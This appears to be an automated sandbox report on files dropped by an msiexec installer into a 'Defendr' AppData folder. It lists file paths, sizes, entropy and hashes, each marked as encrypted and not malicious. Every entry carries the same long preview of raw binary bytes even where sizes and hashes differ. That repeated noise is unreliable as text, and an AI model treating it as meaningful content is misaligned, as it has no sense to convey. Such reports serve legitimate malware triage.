Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv29.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	96113
Entropy (8bit):	7.998130790714943
Encrypted:	true
SSDEEP:	1536:BW6HF9pfWVCSg8i3ClEmOZ5B5rDTIxJl0vyJcTdsOfX9pwnk3OLrh5:o8F9p8CSghSlfsB5XTkJFir/L8k3O3
MD5:	7C68CFB5F5AF152F8D9C45C83968F9E5
SHA1:	CF14E3B400F43071E3611D692E50B43B5E7FB0BA
SHA-256:	68A83A6DEFE3F339E116965863EF4C536D61503DD87F6ACB3C1ECB18B716821B
SHA-512:	CE30831FC5C2280BE067D6F1C51CC739B9E1CC152C8296E439C055E817C408C8CABB621A6B0E1D86858C9214E6929C5EF39A910663FABEC5199B81297A9587C9
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv29.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	35504
Entropy (8bit):	7.995373807133793
Encrypted:	true
SSDEEP:	768:BW6Nb1X9c/jyps46MdwPtxJBAwLGDIJIvQiDHqyAYL7sH5f7duO38Tbz02PZ:BW6F1Nc/jyCfMdCxJTLG8IvQ4HH9If5Q
MD5:	737A1374A5503F702CD7BEFFB402D3D2
SHA1:	1A780B0A10595593080718EE112922ADFD48F6D9
SHA-256:	9B18FDD03F15144E86DF6AE41BF04793AC713BCE12155D2AE55274CAC80093CA
SHA-512:	E47A9153566D17BC20E6E69DEB7702AECC8D6BDE75674616AB00F64B43F363E8ADDA42B09B663E398FAED5CF6920D18F5BDF9D757A5F438C39C6CC87D353E215
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv3.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	103242
Entropy (8bit):	7.998070019674833
Encrypted:	true
SSDEEP:	3072:obI5molIWlq0BxiLaYx78MBN90hU7gPqarJL7A:/soKWlHB3sgMl0hU7qqarJA
MD5:	C0300FC156DB04F541F7ED73F9FDBF8D
SHA1:	5F832818E0F6B3FB867132B3029DF65846D2DA7B
SHA-256:	363F0AC6CBCA8A470E1974AB22630E5CEA1862260136681E890D9DB5FAF8F6CD
SHA-512:	08F3E05C60680BFA8E2F9A01C10DDB1BC8A811022FA30E8E4F85288C630384737DF2A50F431725142D7E6C3CEB379CB8098E0C7E53BDB510A2C2F01A229284C3
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv3.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	51985
Entropy (8bit):	7.996722146000946
Encrypted:	true
SSDEEP:	1536:BW6JL+upCfhsjQCT+k8aXj5wnH4P4Yb2PNr9PDKNSc5A:oG+xfhfC6EtAZYb8NFDjcO
MD5:	6F3F2AB7AFE7A02426C29B531A1E2059
SHA1:	4DC70B7C61290ACDA9018EB6CC232B5FF1489B90
SHA-256:	BAE2F04E13BF7FC6E3E17C37B5DB13A227A9F4FA715E1B4A854A836FF549DDE2
SHA-512:	D4D1FBE47907FAE1A9E8B574D8024BCF447BDD40AD31C59044A9DB1E76A66694674FF8CC2941610F70A2ED8B856CBC8F2C58F287F6EEB7204DF6212F3D3305E3
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv3.2.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	35504
Entropy (8bit):	7.9954059317529005
Encrypted:	true
SSDEEP:	768:BW6NQoNJKDsIp65+iKvPZhaUnSgIt+Gng9DuwX1cpsrh3RqfXacIS:BW6+oXTHeTaUnSFDn09X1CuRqfXau
MD5:	BCC3E81F72C645434C9481A2116C60C0
SHA1:	292C7B2855A68CD0D73A1463E2BB813D35545828
SHA-256:	D9F8F7214FBAB1A34E05A598294A8334D349805E6769055BE2156A9DD0B6DABC
SHA-512:	E7C33B0A9A1241831B16AE67852077F3B33B7981606BE961D8468426F6B74C3CB0350E714DA3FD9648F17F679049E6E55AD7C50D28AD1B466E3395B914E660A0
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv30.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	105116
Entropy (8bit):	7.998285268709793
Encrypted:	true
SSDEEP:	1536:BW6xUV3Pu+H8iG2VSSR46tZRW4paQXjxOSbIdzsEJ2D+BE9SlIUry3Hrs2lf0UJY:oYUVJG2nDTIIaD2kzrE+BDn+Xrs2HBK
MD5:	FCFC417613F8478F23B9C140BB23F4A7
SHA1:	E7E01B23F7676D2C0800010306E7361532B9B71A
SHA-256:	C97DEC1EC391C52D9A46BBB89E5930E9AE550D7052C143C5FB682ED713DE2211
SHA-512:	EDE0D546287D8EAAF4BC12A094F568B3B9DBDE21C29729A387F6DBE482EDF013A7C9757DAD7B71B392A0BF3342C0DFD134AF01F36D9B02DBAB292A05FACB7EAB
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv30.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	37229
Entropy (8bit):	7.994543928422013
Encrypted:	true
SSDEEP:	768:BW6NJKtpB5oVnsUMBcDf3fRZV6ioyxr1nThx+B0LZssfebqc:BW6Xs5EsFcjV6Ny/hDLZssBc
MD5:	6C2BC1DA0BBABB0DF6F041BA937A20B5
SHA1:	CF937FE32F3547B7DC36BB5CAA1A6935F6EBF96D
SHA-256:	123F6347C23DB951962166C5FAC65FA4807E2A1167143608A9701E8485CD903E
SHA-512:	E1A805EC88FCD9AC15F420E3A766A9ED41D57D8BFD104C9D4326D3C4EF91D56B5985A7971FAA36879C5315F1060E301609D2E217FF6AEEF1CF27E5EC51D08D12
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv31.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	100022
Entropy (8bit):	7.9981863880802235
Encrypted:	true
SSDEEP:	3072:okH6QTNR1VHEgWRq521huDxmFscVDWzsO:WKrNW71WTcVDA5
MD5:	6E48EF4B588D5002062771F83B511CA0
SHA1:	F62D62F9EA643704E4265A5765157743FCE5B794
SHA-256:	CADB718A410A980F1AF13CA8A1036CB2F39D7D4FC9950C87835C4EA52096AB0B
SHA-512:	DEAED369CC05F5B4AE8890D9900F1A5F20501EF53B3938C32E9EACEA943C7F30AD544642D07BAE679B8E842595EB4C2F20ECE442075A77024CFCAF00740CF117
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv31.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	31714
Entropy (8bit):	7.993413464931367
Encrypted:	true
SSDEEP:	768:BW6NmHGlxxDckhL+OHikgd6UsbsZf9VD4+1BvnZYr4zN:BW6oGlgCL+msPZfo+bZYra
MD5:	49B41606048FB6579B5C827AD76BEFA0
SHA1:	3F7576EEB4DF5F05CEEF96F4987B94D3BB539A5D
SHA-256:	973FA4E3E481F20E7EC967C2E187BBC36190855B23863395672AB3BA273E2619
SHA-512:	96206542B22540982A0A9B485140541B9A5368CEC77FBA126C5BDF8FBA223015C44157E1A77E15D936C4B86E94CC9017D1A58682F73EDBFB5C438FB496416321
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv32.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	100086
Entropy (8bit):	7.9982240430769815
Encrypted:	true
SSDEEP:	3072:onIwmSjknvnvYoANpvMQ1gM9zvMsPxZxBV56r:mmSjqnH0v/gM1M07V56r
MD5:	ED55D55ACBF2BC589FF4137F91BA917B
SHA1:	1DD3FF5BB16B506456E25715D3DC3AA46DDB1794
SHA-256:	B45B6C087B04A99B7E0B08ACA4D8A3669E195670F9EBE3B8296EAF06D54EBCB4
SHA-512:	5FED35382747A4C24766338C8E976C656F407DBC24BFBFE8AD18780598E64AA1D2793C21282ECA0535A14DF2F993C4090D54789B018C0449E1E7BC5373B2F935
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv32.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	32338
Entropy (8bit):	7.994565423368479
Encrypted:	true
SSDEEP:	768:BW6Nz95veaYU+eg/V6ohlSRbwqxXofCVY4akXEr1hCpF19ed:BW6XpeG7uY8qxXsAXdpUd
MD5:	DC6D00260945F7978A7BBB54898ABDE8
SHA1:	27626BCB0CD95894877A0F8EAC9F4849AD9A0C08
SHA-256:	5973EA970E87174BE790CF7920EF106E8826927C68A3932176EC83D9FC845BE2
SHA-512:	344AD352CA33C033AA50E14C6266DA2BED5C2DCD3E021B0C443C0309480D8AD976584C0A6645B37DAD5A32FADB978638D80ECEFA2ABDFDDCDC4CBE820175810B
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv33.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	88680
Entropy (8bit):	7.99747844792325
Encrypted:	true
SSDEEP:	1536:BW6NdgzKOR1dmPa5YfUp0xHauMB8oBGf5XN9jlPOJcIzEuHBw1v2yQgBIN:o46KOndmPa5Af5FM+oGNT25zEI0BQTN
MD5:	7DD26494230197E3554FBE5CEFB303FF
SHA1:	615E61F246115B019438B2AEE6E0F4199768F374
SHA-256:	ECCBB604596DFD593B795BEC0C04CB985C701A01EE50D21AA58367D25E3993AE
SHA-512:	1282E8BC55AEDEC378AA9BF3B5FBB147DDE9F5DDD2A445E0201FAF849FCD8392F07207DE626DA378E38986C400ED1F1980FCDD508FEB40348F1B410B5509C6F9
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv33.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	44819
Entropy (8bit):	7.9960755318335
Encrypted:	true
SSDEEP:	768:BW6NuezPOzo1eMVaDwVlvDA8kgKrfMsB006pWPxGOaFB6iiZ+2rqCGyVSS38C500:BW6oe0oYMVacnA8kFrfTB006+8xF4dr3
MD5:	75D904723AA149166E0FDB850E933171
SHA1:	BC39EC23774AA7D964566CBAF35C23F6752E2FEE
SHA-256:	A9D5D5873CA1713C2C7C172109E127ED943014EEF0CAED269CA3354FDB373416
SHA-512:	C875E536B120798DA9C5BDAD351F2F21BEB35A3D6EB70BDFB6F38D9700333920035944282D21C4AB45ABA6C4356721FB01670D2D7A120D104C2A1D39782C2149
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv34.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	99037
Entropy (8bit):	7.997888245921803
Encrypted:	true
SSDEEP:	1536:BW69IScAcb+rCsJoAQvm7LLsIw3o1QAyd5mp9aVWzABY/rkdeUmVgjpjpau/KGrd:oi3W+rCi2csFKm/VtBYAd70u/9wJF52
MD5:	9DDC5E19AFDF801947E63E9F1A4CB172
SHA1:	20A2A279E7E619FBB293500559F5485FCCD8101B
SHA-256:	3209106CEAC1D911D2B5BEF0EF2441E9285AB933701BE9E4B9749C773B83FDAA
SHA-512:	8D07AF43F5AC27ED332C8AA8B1F6D9AF92E4025D233124E77C1B433C5AEC8958AD31A4B618B066DE6AB62165134315EF949C6A2BB10BE31CA797ECBA528C5DAB
Malicious:	false
